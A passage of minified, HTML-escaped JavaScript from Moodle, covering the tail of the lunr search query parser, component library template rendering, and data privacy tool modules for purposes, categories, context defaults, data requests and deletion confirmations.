&#039;&quot;+nextLexeme.type+&quot;&#039;&quot;;throw new lunr.QueryParseError(errorMessage,nextLexeme.start,nextLexeme.end)}}},lunr.QueryParser.parseField=function(parser){var lexeme=parser.consumeLexeme();if(null!=lexeme){if(-1==parser.query.allFields.indexOf(lexeme.str)){var possibleFields=parser.query.allFields.map((function(f){return&quot;&#039;&quot;+f+&quot;&#039;&quot;})).join(&quot;, &quot;),errorMessage=&quot;unrecognised field &#039;&quot;+lexeme.str+&quot;&#039;, possible fields: &quot;+possibleFields;throw new lunr.QueryParseError(errorMessage,lexeme.start,lexeme.end)}parser.currentClause.fields=[lexeme.str];var nextLexeme=parser.peekLexeme();if(null==nextLexeme){errorMessage=&quot;expecting term, found nothing&quot;;throw new lunr.QueryParseError(errorMessage,lexeme.start,lexeme.end)}if(nextLexeme.type===lunr.QueryLexer.TERM)return lunr.QueryParser.parseTerm;errorMessage=&quot;expecting term, found &#039;&quot;+nextLexeme.type+&quot;&#039;&quot;;throw new lunr.QueryParseError(errorMessage,nextLexeme.start,nextLexeme.end)}},lunr.QueryParser.parseTerm=function(parser){var lexeme=parser.consumeLexeme();if(null!=lexeme){parser.currentClause.term=lexeme.str.toLowerCase(),-1!=lexeme.str.indexOf(&quot;*&quot;)&amp;&amp;(parser.currentClause.usePipeline=!1);var nextLexeme=parser.peekLexeme();if(null!=nextLexeme)switch(nextLexeme.type){case lunr.QueryLexer.TERM:return parser.nextClause(),lunr.QueryParser.parseTerm;case lunr.QueryLexer.FIELD:return parser.nextClause(),lunr.QueryParser.parseField;case lunr.QueryLexer.EDIT_DISTANCE:return lunr.QueryParser.parseEditDistance;case lunr.QueryLexer.BOOST:return lunr.QueryParser.parseBoost;case lunr.QueryLexer.PRESENCE:return parser.nextClause(),lunr.QueryParser.parsePresence;default:var errorMessage=&quot;Unexpected lexeme type &#039;&quot;+nextLexeme.type+&quot;&#039;&quot;;throw new lunr.QueryParseError(errorMessage,nextLexeme.start,nextLexeme.end)}else parser.nextClause()}},lunr.QueryParser.parseEditDistance=function(parser){var lexeme=parser.consumeLexeme();if(null!=lexeme){var editDistance=parseInt(lexeme.str,10);if(isNaN(editDistance)){var errorMessage=&quot;edit distance must be numeric&quot;;throw new lunr.QueryParseError(errorMessage,lexeme.start,lexeme.end)}parser.currentClause.editDistance=editDistance;var nextLexeme=parser.peekLexeme();if(null!=nextLexeme)switch(nextLexeme.type){case lunr.QueryLexer.TERM:return parser.nextClause(),lunr.QueryParser.parseTerm;case lunr.QueryLexer.FIELD:return parser.nextClause(),lunr.QueryParser.parseField;case lunr.QueryLexer.EDIT_DISTANCE:return lunr.QueryParser.parseEditDistance;case lunr.QueryLexer.BOOST:return lunr.QueryParser.parseBoost;case lunr.QueryLexer.PRESENCE:return parser.nextClause(),lunr.QueryParser.parsePresence;default:errorMessage=&quot;Unexpected lexeme type &#039;&quot;+nextLexeme.type+&quot;&#039;&quot;;throw new lunr.QueryParseError(errorMessage,nextLexeme.start,nextLexeme.end)}else parser.nextClause()}},lunr.QueryParser.parseBoost=function(parser){var lexeme=parser.consumeLexeme();if(null!=lexeme){var boost=parseInt(lexeme.str,10);if(isNaN(boost)){var errorMessage=&quot;boost must be numeric&quot;;throw new lunr.QueryParseError(errorMessage,lexeme.start,lexeme.end)}parser.currentClause.boost=boost;var nextLexeme=parser.peekLexeme();if(null!=nextLexeme)switch(nextLexeme.type){case lunr.QueryLexer.TERM:return parser.nextClause(),lunr.QueryParser.parseTerm;case lunr.QueryLexer.FIELD:return parser.nextClause(),lunr.QueryParser.parseField;case lunr.QueryLexer.EDIT_DISTANCE:return lunr.QueryParser.parseEditDistance;case lunr.QueryLexer.BOOST:return lunr.QueryParser.parseBoost;case lunr.QueryLexer.PRESENCE:return parser.nextClause(),lunr.QueryParser.parsePresence;default:errorMessage=&quot;Unexpected lexeme type &#039;&quot;+nextLexeme.type+&quot;&#039;&quot;;throw new lunr.QueryParseError(errorMessage,nextLexeme.start,nextLexeme.end)}else parser.nextClause()}},root=this,factory=function(){return lunr},&quot;function&quot;==typeof define&amp;&amp;define.amd?define(&quot;tool_componentlibrary/lunr&quot;,factory):&quot;object&quot;==typeof exports?module.exports=factory():root.lunr=factory()}();
define(&quot;tool_componentlibrary/mustache&quot;,[&quot;exports&quot;,&quot;tool_componentlibrary/selectors&quot;,&quot;core/ajax&quot;,&quot;core/config&quot;,&quot;core/templates&quot;,&quot;core/log&quot;,&quot;core/notification&quot;],(function(_exports,_selectors,_ajax,_config,_templates,_log,_notification){function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}
/**
   * Render mustache template examples within the component library.
   *
   * @module     tool_componentlibrary/mustache
   * @copyright  2021 Bas Brands &lt;bas@moodle.com&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.mustache=void 0,_selectors=_interopRequireDefault(_selectors),_ajax=_interopRequireDefault(_ajax),_config=_interopRequireDefault(_config),_templates=_interopRequireDefault(_templates),_log=_interopRequireDefault(_log),_notification=_interopRequireDefault(_notification);const loadTemplate=container=&gt;{const sourcecontainer=container.querySelector(_selectors.default.mustachesource),contextcontainer=container.querySelector(_selectors.default.mustachecontext),templateName=container.dataset.template;let context=container.querySelector(_selectors.default.mustacherawcontext).textContent;const parts=templateName.split(&quot;/&quot;),request={methodname:&quot;core_output_load_template&quot;,args:{component:parts.shift(),template:parts.join(&quot;/&quot;),themename:_config.default.theme,includecomments:!0}};_ajax.default.call([request])[0].done((source=&gt;{if(sourcecontainer.textContent=source,!context){const example=source.match(/Example context \(json\):([\s\S]+?)(}})/);context=example[1];const precontainer=document.createElement(&quot;pre&quot;);precontainer.innerHTML=JSON.stringify(JSON.parse(context),null,4),contextcontainer.parentNode.appendChild(precontainer),contextcontainer.classList.add(&quot;d-none&quot;)}(async(container,templateName,context)=&gt;{try{context=JSON.parse(context)}catch(e){_log.default.debug(&quot;Could not parse json example context for template.&quot;),_log.default.debug(e)}const{html:html,js:js}=await _templates.default.renderForPromise(templateName,context),rendercontainer=container.querySelector(_selectors.default.mustacherendered);await _templates.default.replaceNodeContents(rendercontainer,html,js)})(container,templateName,context)})).fail(_notification.default.exception)};_exports.mustache=()=&gt;{document.querySelectorAll(_selectors.default.mustachecode).forEach((container=&gt;{loadTemplate(container)}))}}));
define(&quot;tool_componentlibrary/loader&quot;,[&quot;exports&quot;,&quot;./mustache&quot;,&quot;./jsrunner&quot;,&quot;./clipboardwrapper&quot;,&quot;./search&quot;],(function(_exports,_mustache,_jsrunner,_clipboardwrapper,_search){Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.init=void 0;_exports.init=jsonFile=&gt;{(0,_mustache.mustache)(),(0,_jsrunner.jsRunner)(),(0,_clipboardwrapper.clipboardWrapper)(),(0,_search.search)(jsonFile)}}));
/**
 * Potential user selector module.
 *
 * @module     tool_dataprivacy/form-user-selector
 * @copyright  2018 Jun Pataleta
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;tool_dataprivacy/form-user-selector&quot;,[&quot;jquery&quot;,&quot;core/ajax&quot;,&quot;core/templates&quot;],(function($,Ajax,Templates){return{processResults:function(selector,results){var users=[];return $.each(results,(function(index,user){users.push({value:user.id,label:user._label})})),users},transport:function(selector,query,success,failure){Ajax.call([{methodname:&quot;tool_dataprivacy_get_users&quot;,args:{query:query}}])[0].then((function(results){var promises=[],i=0;return $.each(results,(function(index,user){promises.push(Templates.render(&quot;tool_dataprivacy/form-user-selector-suggestion&quot;,user))})),$.when.apply($.when,promises).then((function(){var args=arguments;$.each(results,(function(index,user){user._label=args[i],i++})),success(results)}))})).fail(failure)}}}));
define(&quot;tool_dataprivacy/contactdpo&quot;,[&quot;exports&quot;,&quot;core_form/modalform&quot;,&quot;core/notification&quot;,&quot;core/str&quot;,&quot;core/toast&quot;],(function(_exports,_modalform,_notification,_str,_toast){function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}
/**
   * Javascript module for contacting the site DPO
   *
   * @module      tool_dataprivacy/contactdpo
   * @copyright   2021 Paul Holden &lt;paulh@moodle.com&gt;
   * @license     http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.init=void 0,_modalform=_interopRequireDefault(_modalform),_notification=_interopRequireDefault(_notification);const SELECTORS_CONTACT_DPO=&#039;[data-action=&quot;contactdpo&quot;]&#039;;_exports.init=()=&gt;{const triggerElement=document.querySelector(SELECTORS_CONTACT_DPO);triggerElement.addEventListener(&quot;click&quot;,(event=&gt;{event.preventDefault();const modalForm=new _modalform.default({modalConfig:{title:(0,_str.get_string)(&quot;contactdataprotectionofficer&quot;,&quot;tool_dataprivacy&quot;)},formClass:&quot;tool_dataprivacy\\form\\contactdpo&quot;,saveButtonText:(0,_str.get_string)(&quot;send&quot;,&quot;tool_dataprivacy&quot;),returnFocus:triggerElement});modalForm.addEventListener(modalForm.events.FORM_SUBMITTED,(event=&gt;{if(event.detail.result)(0,_str.get_string)(&quot;requestsubmitted&quot;,&quot;tool_dataprivacy&quot;).then(_toast.add).catch();else{const warningMessages=event.detail.warnings.map((warning=&gt;warning.message));_notification.default.addNotification({type:&quot;error&quot;,message:warningMessages.join(&quot;&lt;br&gt;&quot;)})}})),modalForm.show()}))}}));
/**
 * Module to add purposes.
 *
 * @module     tool_dataprivacy/add_purpose
 * @copyright  2018 David Monllao
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;tool_dataprivacy/add_purpose&quot;,[&quot;jquery&quot;,&quot;core/str&quot;,&quot;core/ajax&quot;,&quot;core/notification&quot;,&quot;core/modal_factory&quot;,&quot;core/modal_events&quot;,&quot;core/fragment&quot;,&quot;core_form/changechecker&quot;],(function($,Str,Ajax,Notification,ModalFactory,ModalEvents,Fragment,FormChangeChecker){var SELECTORS_PURPOSE_LINK=&#039;[data-add-element=&quot;purpose&quot;]&#039;,AddPurpose=function(contextId){this.contextId=contextId;this.strings=Str.get_strings([{key:&quot;addpurpose&quot;,component:&quot;tool_dataprivacy&quot;},{key:&quot;save&quot;,component:&quot;admin&quot;}]),this.registerEventListeners()};return AddPurpose.prototype.contextId=0,AddPurpose.prototype.strings=0,AddPurpose.prototype.registerEventListeners=function(){var trigger=$(SELECTORS_PURPOSE_LINK);trigger.on(&quot;click&quot;,function(){return this.strings.then(function(strings){ModalFactory.create({type:ModalFactory.types.SAVE_CANCEL,title:strings[0],body:&quot;&quot;},trigger).done(function(modal){this.setupFormModal(modal,strings[1])}.bind(this))}.bind(this)).fail(Notification.exception)}.bind(this))},AddPurpose.prototype.getBody=function(formdata){var params=null;return void 0!==formdata&amp;&amp;(params={jsonformdata:JSON.stringify(formdata)}),Fragment.loadFragment(&quot;tool_dataprivacy&quot;,&quot;addpurpose_form&quot;,this.contextId,params)},AddPurpose.prototype.setupFormModal=function(modal,saveText){modal.setLarge(),modal.setSaveButtonText(saveText),modal.getRoot().on(ModalEvents.hidden,this.destroy.bind(this)),modal.setBody(this.getBody()),modal.getRoot().on(ModalEvents.save,this.submitForm.bind(this)),modal.getRoot().on(&quot;submit&quot;,&quot;form&quot;,this.submitFormAjax.bind(this)),this.modal=modal,modal.show()},AddPurpose.prototype.submitForm=function(e){e.preventDefault(),this.modal.getRoot().find(&quot;form&quot;).submit()},AddPurpose.prototype.submitFormAjax=function(e){e.preventDefault();var formData=this.modal.getRoot().find(&quot;form&quot;).serialize();Ajax.call([{methodname:&quot;tool_dataprivacy_create_purpose_form&quot;,args:{jsonformdata:JSON.stringify(formData)},done:function(data){data.validationerrors?this.modal.setBody(this.getBody(formData)):this.close()}.bind(this),fail:Notification.exception}])},AddPurpose.prototype.close=function(){this.destroy(),document.location.reload()},AddPurpose.prototype.destroy=function(){FormChangeChecker.resetAllFormDirtyStates(),this.modal.destroy()},AddPurpose.prototype.removeListeners=function(){$(SELECTORS_PURPOSE_LINK).off(&quot;click&quot;)},{getInstance:function(contextId){return new AddPurpose(contextId)}}}));
/**
 * AMD module for data registry defaults actions.
 *
 * @module     tool_dataprivacy/defaultsactions
 * @copyright  2018 Jun Pataleta
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;tool_dataprivacy/defaultsactions&quot;,[&quot;jquery&quot;,&quot;core/ajax&quot;,&quot;core/notification&quot;,&quot;core/str&quot;,&quot;core/modal_factory&quot;,&quot;core/modal_events&quot;,&quot;core/templates&quot;],(function($,Ajax,Notification,Str,ModalFactory,ModalEvents,Templates){var ACTIONS_EDIT_LEVEL_DEFAULTS=&#039;[data-action=&quot;edit-level-defaults&quot;]&#039;,ACTIONS_NEW_ACTIVITY_DEFAULTS=&#039;[data-action=&quot;new-activity-defaults&quot;]&#039;,ACTIONS_EDIT_ACTIVITY_DEFAULTS=&#039;[data-action=&quot;edit-activity-defaults&quot;]&#039;,ACTIONS_DELETE_ACTIVITY_DEFAULTS=&#039;[data-action=&quot;delete-activity-defaults&quot;]&#039;,DefaultsActions=function(){this.registerEvents()};function showDefaultsFormModal(title,contextLevel,category,purpose,activity,categoryOptions,purposeOptions,activityOptions){null!==category&amp;&amp;categoryOptions.forEach((function(currentValue){currentValue.id===category&amp;&amp;(currentValue.selected=!0)})),null!==purpose&amp;&amp;purposeOptions.forEach((function(currentValue){currentValue.id===purpose&amp;&amp;(currentValue.selected=!0)}));var templateContext={contextlevel:contextLevel,categoryoptions:categoryOptions,purposeoptions:purposeOptions};null!==activityOptions&amp;&amp;activityOptions.length&amp;&amp;(null===activity?templateContext.newactivitydefaults=!0:activityOptions.forEach((function(currentValue){activity===currentValue.name&amp;&amp;(currentValue.selected=!0)})),templateContext.modemodule=!0,templateContext.activityoptions=activityOptions),ModalFactory.create({title:title,body:Templates.render(&quot;tool_dataprivacy/category_purpose_form&quot;,templateContext),type:ModalFactory.types.SAVE_CANCEL,large:!0}).then((function(modal){return modal.getRoot().on(ModalEvents.save,(function(){var activity=$(&quot;#activity&quot;),activityVal=void 0!==activity?activity.val():null,override=$(&quot;#override&quot;),overrideVal=void 0!==override&amp;&amp;override.is(&quot;:checked&quot;);setContextDefaults($(&quot;#contextlevel&quot;).val(),$(&quot;#category&quot;).val(),$(&quot;#purpose&quot;).val(),activityVal,overrideVal)})),modal.getRoot().on(ModalEvents.hidden,(function(){modal.destroy()})),modal.show(),modal})).catch(Notification.exception)}function setContextDefaults(contextLevel,category,purpose,activity,override){var request={methodname:&quot;tool_dataprivacy_set_context_defaults&quot;,args:{contextlevel:contextLevel,category:category,purpose:purpose,override:override,activity:activity}};Ajax.call([request])[0].done((function(data){data.result&amp;&amp;window.location.reload()}))}return DefaultsActions.prototype.registerEvents=function(){$(ACTIONS_EDIT_LEVEL_DEFAULTS).click((function(e){e.preventDefault();var button=$(this),contextLevel=button.data(&quot;contextlevel&quot;),category=button.data(&quot;category&quot;),purpose=button.data(&quot;purpose&quot;),promises=Ajax.call([{methodname:&quot;tool_dataprivacy_get_category_options&quot;,args:{}},{methodname:&quot;tool_dataprivacy_get_purpose_options&quot;,args:{}}]),titlePromise=Str.get_string(&quot;editdefaults&quot;,&quot;tool_dataprivacy&quot;,$(&quot;#defaults-header&quot;).text());$.when(promises[0],promises[1],titlePromise).then((function(categoryResponse,purposeResponse,title){var categories=categoryResponse.options,purposes=purposeResponse.options;return showDefaultsFormModal(title,contextLevel,category,purpose,null,categories,purposes,null),!0})).catch(Notification.exception)})),$(ACTIONS_NEW_ACTIVITY_DEFAULTS).click((function(e){e.preventDefault();var contextLevel=$(this).data(&quot;contextlevel&quot;),promises=Ajax.call([{methodname:&quot;tool_dataprivacy_get_category_options&quot;,args:{}},{methodname:&quot;tool_dataprivacy_get_purpose_options&quot;,args:{}},{methodname:&quot;tool_dataprivacy_get_activity_options&quot;,args:{nodefaults:!0}}]),titlePromise=Str.get_string(&quot;addnewdefaults&quot;,&quot;tool_dataprivacy&quot;);$.when(promises[0],promises[1],promises[2],titlePromise).then((function(categoryResponse,purposeResponse,activityResponse,title){var categories=categoryResponse.options,purposes=purposeResponse.options,activities=activityResponse.options;return showDefaultsFormModal(title,contextLevel,null,null,null,categories,purposes,activities),!0})).catch(Notification.exception)})),$(ACTIONS_EDIT_ACTIVITY_DEFAULTS).click((function(e){e.preventDefault();var button=$(this),contextLevel=button.data(&quot;contextlevel&quot;),category=button.data(&quot;category&quot;),purpose=button.data(&quot;purpose&quot;),activity=button.data(&quot;activityname&quot;),promises=Ajax.call([{methodname:&quot;tool_dataprivacy_get_category_options&quot;,args:{}},{methodname:&quot;tool_dataprivacy_get_purpose_options&quot;,args:{}},{methodname:&quot;tool_dataprivacy_get_activity_options&quot;,args:{}}]),titlePromise=Str.get_string(&quot;editmoduledefaults&quot;,&quot;tool_dataprivacy&quot;);$.when(promises[0],promises[1],promises[2],titlePromise).then((function(categoryResponse,purposeResponse,activityResponse,title){var categories=categoryResponse.options,purposes=purposeResponse.options,activities=activityResponse.options;return showDefaultsFormModal(title,contextLevel,category,purpose,activity,categories,purposes,activities),!0})).catch(Notification.exception)})),$(ACTIONS_DELETE_ACTIVITY_DEFAULTS).click((function(e){e.preventDefault();var button=$(this),contextLevel=button.data(&quot;contextlevel&quot;),activity=button.data(&quot;activityname&quot;),activityDisplayName=button.data(&quot;activitydisplayname&quot;);ModalFactory.create({title:Str.get_string(&quot;deletedefaults&quot;,&quot;tool_dataprivacy&quot;,activityDisplayName),body:Templates.render(&quot;tool_dataprivacy/delete_activity_defaults&quot;,{activityname:activityDisplayName}),type:ModalFactory.types.SAVE_CANCEL,large:!0}).then((function(modal){return modal.setSaveButtonText(Str.get_string(&quot;delete&quot;)),modal.getRoot().on(ModalEvents.save,(function(){setContextDefaults(contextLevel,-1,-1,activity,!1)})),modal.getRoot().on(ModalEvents.hidden,(function(){modal.destroy()})),modal.show(),!0})).catch(Notification.exception)}))},{init:function(){return new DefaultsActions}}}));
/**
 * Module to add categories.
 *
 * @module     tool_dataprivacy/add_category
 * @copyright  2018 David Monllao
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;tool_dataprivacy/add_category&quot;,[&quot;jquery&quot;,&quot;core/str&quot;,&quot;core/ajax&quot;,&quot;core/notification&quot;,&quot;core/modal_factory&quot;,&quot;core/modal_events&quot;,&quot;core/fragment&quot;,&quot;core_form/changechecker&quot;],(function($,Str,Ajax,Notification,ModalFactory,ModalEvents,Fragment,FormChangeChecker){var SELECTORS_CATEGORY_LINK=&#039;[data-add-element=&quot;category&quot;]&#039;,AddCategory=function(contextId){this.contextId=contextId;this.strings=Str.get_strings([{key:&quot;addcategory&quot;,component:&quot;tool_dataprivacy&quot;},{key:&quot;save&quot;,component:&quot;admin&quot;}]),this.registerEventListeners()};return AddCategory.prototype.contextId=0,AddCategory.prototype.strings=0,AddCategory.prototype.registerEventListeners=function(){var trigger=$(SELECTORS_CATEGORY_LINK);trigger.on(&quot;click&quot;,function(){return this.strings.then(function(strings){ModalFactory.create({type:ModalFactory.types.SAVE_CANCEL,title:strings[0],body:&quot;&quot;},trigger).done(function(modal){this.setupFormModal(modal,strings[1])}.bind(this))}.bind(this)).fail(Notification.exception)}.bind(this))},AddCategory.prototype.getBody=function(formdata){var params=null;return void 0!==formdata&amp;&amp;(params={jsonformdata:JSON.stringify(formdata)}),Fragment.loadFragment(&quot;tool_dataprivacy&quot;,&quot;addcategory_form&quot;,this.contextId,params)},AddCategory.prototype.setupFormModal=function(modal,saveText){modal.setLarge(),modal.setSaveButtonText(saveText),modal.getRoot().on(ModalEvents.hidden,this.destroy.bind(this)),modal.setBody(this.getBody()),modal.getRoot().on(ModalEvents.save,this.submitForm.bind(this)),modal.getRoot().on(&quot;submit&quot;,&quot;form&quot;,this.submitFormAjax.bind(this)),this.modal=modal,modal.show()},AddCategory.prototype.submitForm=function(e){e.preventDefault(),this.modal.getRoot().find(&quot;form&quot;).submit()},AddCategory.prototype.submitFormAjax=function(e){e.preventDefault();var formData=this.modal.getRoot().find(&quot;form&quot;).serialize();Ajax.call([{methodname:&quot;tool_dataprivacy_create_category_form&quot;,args:{jsonformdata:JSON.stringify(formData)},done:function(data){data.validationerrors?this.modal.setBody(this.getBody(formData)):this.close()}.bind(this),fail:Notification.exception}])},AddCategory.prototype.close=function(){this.destroy(),document.location.reload()},AddCategory.prototype.destroy=function(){FormChangeChecker.resetAllFormDirtyStates(),this.modal.destroy()},AddCategory.prototype.removeListeners=function(){$(SELECTORS_CATEGORY_LINK).off(&quot;click&quot;)},{getInstance:function(contextId){return new AddCategory(contextId)}}}));
define(&quot;tool_dataprivacy/myrequestactions&quot;,[&quot;exports&quot;,&quot;core/ajax&quot;,&quot;core/notification&quot;,&quot;core/pending&quot;,&quot;core/str&quot;],(function(_exports,_ajax,_notification,_pending,_str){function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}
/**
   * AMD module to enable users to manage their own data requests.
   *
   * @module     tool_dataprivacy/myrequestactions
   * @copyright  2018 Jun Pataleta
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.init=void 0,_ajax=_interopRequireDefault(_ajax),_notification=_interopRequireDefault(_notification),_pending=_interopRequireDefault(_pending);const SELECTORS_CANCEL_REQUEST=&#039;[data-action=&quot;cancel&quot;][data-requestid]&#039;;_exports.init=()=&gt;{document.addEventListener(&quot;click&quot;,(event=&gt;{const triggerElement=event.target.closest(SELECTORS_CANCEL_REQUEST);if(null===triggerElement)return;event.preventDefault();(0,_str.get_strings)([{key:&quot;cancelrequest&quot;,component:&quot;tool_dataprivacy&quot;},{key:&quot;cancelrequestconfirmation&quot;,component:&quot;tool_dataprivacy&quot;}]).then((_ref=&gt;{let[cancelRequest,cancelConfirm]=_ref;return _notification.default.confirm(cancelRequest,cancelConfirm,cancelRequest,null,(()=&gt;{const pendingPromise=new _pending.default(&quot;tool/dataprivacy:cancelRequest&quot;),request={methodname:&quot;tool_dataprivacy_cancel_data_request&quot;,args:{requestid:triggerElement.dataset.requestid}};_ajax.default.call([request])[0].then((response=&gt;(response.result?window.location.reload():_notification.default.addNotification({type:&quot;error&quot;,message:response.warnings[0].message}),pendingPromise.resolve()))).catch(_notification.default.exception)}))})).catch()}))}}));
/**
 * Module to update the displayed retention period.
 *
 * @module     tool_dataprivacy/effective_retention_period
 * @copyright  2018 David Monllao
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;tool_dataprivacy/effective_retention_period&quot;,[&quot;jquery&quot;],(function($){var SELECTORS_PURPOSE_SELECT=&quot;#id_purposeid&quot;,SELECTORS_RETENTION_FIELD=&quot;#fitem_id_retention_current [data-fieldtype=static]&quot;,EffectiveRetentionPeriod=function(purposeRetentionPeriods){this.purposeRetentionPeriods=purposeRetentionPeriods,this.registerEventListeners()};return EffectiveRetentionPeriod.prototype.purposeRetentionPeriods=[],EffectiveRetentionPeriod.prototype.registerEventListeners=function(){$(SELECTORS_PURPOSE_SELECT).on(&quot;change&quot;,function(ev){var selected=$(ev.currentTarget).val(),selectedPurpose=this.purposeRetentionPeriods[selected];$(SELECTORS_RETENTION_FIELD).text(selectedPurpose)}.bind(this))},{init:function(purposeRetentionPeriods){return $(SELECTORS_PURPOSE_SELECT).off(&quot;change&quot;),new EffectiveRetentionPeriod(purposeRetentionPeriods)}}}));
/**
 * Request actions.
 *
 * @module     tool_dataprivacy/data_deletion
 * @copyright  2018 Jun Pataleta
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;tool_dataprivacy/data_deletion&quot;,[&quot;jquery&quot;,&quot;core/ajax&quot;,&quot;core/notification&quot;,&quot;core/str&quot;,&quot;core/modal_factory&quot;,&quot;core/modal_events&quot;],(function($,Ajax,Notification,Str,ModalFactory,ModalEvents){var ACTIONS_MARK_FOR_DELETION=&#039;[data-action=&quot;markfordeletion&quot;]&#039;,ACTIONS_SELECT_ALL=&#039;[data-action=&quot;selectall&quot;]&#039;,SELECTORS_SELECTCONTEXT=&quot;.selectcontext&quot;,DataDeletionActions=function(){this.registerEvents()};return DataDeletionActions.prototype.registerEvents=function(){$(ACTIONS_MARK_FOR_DELETION).click((function(e){e.preventDefault();var ids,keys,wsfunction,modalTitle,selectedIds=[];$(SELECTORS_SELECTCONTEXT).each((function(){var checkbox=$(this);checkbox.is(&quot;:checked&quot;)&amp;&amp;selectedIds.push(checkbox.val())})),ids=selectedIds,keys=[{key:&quot;confirm&quot;,component:&quot;moodle&quot;},{key:&quot;confirmcontextdeletion&quot;,component:&quot;tool_dataprivacy&quot;}],wsfunction=&quot;tool_dataprivacy_confirm_contexts_for_deletion&quot;,modalTitle=&quot;&quot;,Str.get_strings(keys).then((function(langStrings){modalTitle=langStrings[0];var confirmMessage=langStrings[1];return ModalFactory.create({title:modalTitle,body:confirmMessage,type:ModalFactory.types.SAVE_CANCEL})})).then((function(modal){return modal.setSaveButtonText(modalTitle),modal.getRoot().on(ModalEvents.save,(function(){var request={methodname:wsfunction,args:{ids:ids}};Ajax.call([request])[0].done((function(data){data.result?window.location.reload():Notification.addNotification({message:data.warnings[0].message,type:&quot;error&quot;})})).fail(Notification.exception)})),modal.getRoot().on(ModalEvents.hidden,(function(){modal.destroy()})),modal})).done((function(modal){modal.show()})).fail(Notification.exception)})),$(ACTIONS_SELECT_ALL).change((function(e){e.preventDefault(),$(this).is(&quot;:checked&quot;)?$(SELECTORS_SELECTCONTEXT).attr(&quot;checked&quot;,&quot;checked&quot;):$(SELECTORS_SELECTCONTEXT).removeAttr(&quot;checked&quot;)}))},DataDeletionActions}));
/**
 * AMD module for categories actions.
 *
 * @module     tool_dataprivacy/categoriesactions
 * @copyright  2018 David Monllao
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;tool_dataprivacy/categoriesactions&quot;,[&quot;jquery&quot;,&quot;core/ajax&quot;,&quot;core/notification&quot;,&quot;core/str&quot;,&quot;core/modal_factory&quot;,&quot;core/modal_events&quot;],(function($,Ajax,Notification,Str,ModalFactory,ModalEvents){var ACTIONS_DELETE=&#039;[data-action=&quot;deletecategory&quot;]&#039;,CategoriesActions=function(){this.registerEvents()};return CategoriesActions.prototype.registerEvents=function(){$(ACTIONS_DELETE).click((function(e){e.preventDefault();var id=$(this).data(&quot;id&quot;),stringkeys=[{key:&quot;deletecategory&quot;,component:&quot;tool_dataprivacy&quot;},{key:&quot;deletecategorytext&quot;,component:&quot;tool_dataprivacy&quot;,param:$(this).data(&quot;name&quot;)},{key:&quot;delete&quot;}];Str.get_strings(stringkeys).then((function(langStrings){var title=langStrings[0],confirmMessage=langStrings[1],buttonText=langStrings[2];return ModalFactory.create({title:title,body:confirmMessage,type:ModalFactory.types.SAVE_CANCEL}).then((function(modal){return modal.setSaveButtonText(buttonText),modal.getRoot().on(ModalEvents.save,(function(){var request={methodname:&quot;tool_dataprivacy_delete_category&quot;,args:{id:id}};Ajax.call([request])[0].done((function(data){data.result?$(&#039;tr[data-categoryid=&quot;&#039;+id+&#039;&quot;]&#039;).remove():Notification.addNotification({message:data.warnings[0].message,type:&quot;error&quot;})})).fail(Notification.exception)})),modal.getRoot().on(ModalEvents.hidden,(function(){modal.destroy()})),modal}))})).done((function(modal){modal.show()})).fail(Notification.exception)}))},{init:function(){return new CategoriesActions}}}));
/**
 * Contain the events the data privacy tool can fire.
 *
 * @module     tool_dataprivacy/events
 * @copyright  2018 Jun Pataleta
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;tool_dataprivacy/events&quot;,[],(function(){return{approve:&quot;tool_dataprivacy-data_request:approve&quot;,bulkApprove:&quot;tool_dataprivacy-data_request:bulk_approve&quot;,deny:&quot;tool_dataprivacy-data_request:deny&quot;,bulkDeny:&quot;tool_dataprivacy-data_request:bulk_deny&quot;,complete:&quot;tool_dataprivacy-data_request:complete&quot;}}));
/**
 * Potential user selector module.
 *
 * @module     tool_dataprivacy/expand_contract
 * @copyright  2018 Adrian Greeve
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;tool_dataprivacy/expand_contract&quot;,[&quot;jquery&quot;,&quot;core/url&quot;,&quot;core/str&quot;],(function($,url,str){var expandedImage=$(&#039;&lt;img alt=&quot;&quot; src=&quot;&#039;+url.imageUrl(&quot;t/expanded&quot;)+&#039;&quot;/&gt;&#039;),collapsedImage=$(&#039;&lt;img alt=&quot;&quot; src=&quot;&#039;+url.imageUrl(&quot;t/collapsed&quot;)+&#039;&quot;/&gt;&#039;),CLASSES_EXPAND=&quot;fa-caret-right&quot;,CLASSES_COLLAPSE=&quot;fa-caret-down&quot;;return{expandCollapse:function(targetnode,thisnode){targetnode.hasClass(&quot;hide&quot;)?(targetnode.removeClass(&quot;hide&quot;),targetnode.addClass(&quot;visible&quot;),targetnode.attr(&quot;aria-expanded&quot;,!0),thisnode.find(&quot;:header i.fa&quot;).removeClass(CLASSES_EXPAND),thisnode.find(&quot;:header i.fa&quot;).addClass(CLASSES_COLLAPSE),thisnode.find(&quot;:header img.icon&quot;).attr(&quot;src&quot;,expandedImage.attr(&quot;src&quot;))):(targetnode.removeClass(&quot;visible&quot;),targetnode.addClass(&quot;hide&quot;),targetnode.attr(&quot;aria-expanded&quot;,!1),thisnode.find(&quot;:header i.fa&quot;).removeClass(CLASSES_COLLAPSE),thisnode.find(&quot;:header 